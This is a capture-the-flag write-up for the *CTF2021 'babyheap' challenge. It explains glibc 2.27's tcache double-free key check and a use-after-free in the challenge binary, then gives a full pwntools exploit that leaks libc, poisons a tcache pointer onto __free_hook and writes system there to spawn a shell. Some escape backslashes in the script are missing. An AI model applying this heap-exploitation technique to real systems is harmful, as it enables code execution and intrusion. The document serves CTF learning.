*CTF2021-babyheap, new version of glibc 2.27

New version

The original tcache structure:

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

The new version:

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;

And add tcache quantity limit:

#define MAX_TCACHE_COUNT 127    /* Maximum value of counts[] entries.  */

tcache_put:

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
 ** e->key = tcache;**

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

tcache_get:

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  **e->key = NULL;**
  return (void *) e;
}

The function of '_int_free' adds a new check:

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
        /* Check to see if it's already in the tcache.  */
        tcache_entry *e = (tcache_entry *) chunk2mem (p);

        /* This test succeeds on double free.  However, we don't 100%
           trust it (it also matches random payload data at a 1 in
           2^<size_t> chance), so verify it's not an unlikely
           coincidence before aborting.  */
        if (__glibc_unlikely (e->key == tcache))
          {
            tcache_entry *tmp;
            LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
            for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
**              if (tmp == e)**
**                malloc_printerr ("free(): double free detected in tcache 2");**
                /* If we get here, it was a coincidence.  We've wasted a
                   few cycles, but don't abort.  */
          }

        if (tcache->counts[tc_idx] < mp_.tcache_count)
          {
            tcache_put (p, tc_idx);
            return;
          }
      }
  }
#endif

Analyze

The add function can realize any serial number heap block allocation.

UAF.

The edit function starts editing from the address of the heap block address + 8, so the fd pointer cannot be tampered with by conventional methods.


The function will apply for a 0x400 byte heap block. This will help us to create a small bin.

到了这一步, 说明需要分配的是一块大的内存,或者 small bins 中找不到合适的chunk。于是,ptmalloc 首先会遍历 fastbins 中的 chunk,将相邻的 chunk 进行合并,并链接到 unsorted bin 中, 然后遍历 unsorted bin 中的 chunk,如果 unsorted bin 只有一个 chunk,并且这个 chunk 在上次分配时被使用过,并且所需分配的 chunk 大小属于 small bins,并且 chunk 的大小大于等于需要分配的大小,这种情况下就直接将该 chunk 进行切割,分配结束,否则将根据 chunk 的空间大小将其放入 smallbins 或是 large bins 中,遍历完成后,转入下一步。

After getting the libc address, it is by modifying the fd pointer of tcache, and then attacking the '__free_hook' function to getshell.

Exp

from pwn import *

local = 1

binary = "./pwn"
libc_path = './libc-2.29.so'
port = ""

if local == 1:
	p = process(binary)
else:
	p = remote("node3.buuoj.cn",port)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def add(index,size):
	p.sendlineafter('>>','1')
	p.sendlineafter('input index',str(index))
	p.sendlineafter('input size',str(size))

def edit(index,content):
	p.sendlineafter('>>','3')
	p.sendlineafter('input index',str(index))
	p.sendafter('input content',content)

def show(index):
	p.sendlineafter('>>','4')
	p.sendlineafter('input index',str(index))

def free(index):
	p.sendlineafter('>>','2')
	p.sendlineafter('input index',str(index))

def leavename(name):
	p.recvuntil('>> 
')
	p.sendline('5')
	p.recvuntil('your name:
')
	p.send(name)

def showname():
	p.recvuntil('>> 
')
	p.sendline('6')

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['__malloc_hook']
	print ("[*] libc base:",hex(libc_base))
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']


for i in range(15):
	add(i,0x60)

for i in range(14):
	free(i)

leavename('lemon')

show(7)
__malloc_hook = u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00')) - 752 - 96 - 0x10 - 0x10
log.success("__malloc_hook:{}".format(hex(__malloc_hook)))
leak_libc(__malloc_hook)


add(10,0x10)
add(11,0x10)
free(11)

payload = b'a' * 0x10 + p64(0x21) + p64(__free_hook - 0x8)
edit(7,payload)

add(0,0x10)
add(1,0x10)

edit(1,p64(system))

payload = b'a' * 0x10 + p64(0x21) + b'/bin/shx00'
edit(7,payload)

gdb.attach(p)
p.interactive()

Reference

https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247485857&idx=1&sn=1cf534df42999d5126fc3cf3b7fc8f9b&chksm=fd711cecca0695faf313845fb30671cd61feee2a62ad9b13f213d4de7a5b64c0dfbb6d2ac31f&xtrack=1&scene=0&subscene=10000&clicktime=1611107032&enterid=1611107032&ascene=7&devicetype=android-29&version=2700163b&nettype=3gnet&abtest_cookie=AAACAA%3D%3D&lang=zh_CN&exportkey=AQcW%2FACVHProXmWAQV70QJg%3D&pass_ticket=1Rez77FG%2F4Cz0T%2FC5fJVQShnZutIPpD2DYMup1WSLHtZtN03xzggQfvMuVZ538fE&wx_header=1
https://www.anquanke.com/post/id/172886#h2-8
https://www.anquanke.com/post/id/219292

原文地址:https://www.cnblogs.com/lemon629/p/14327460.html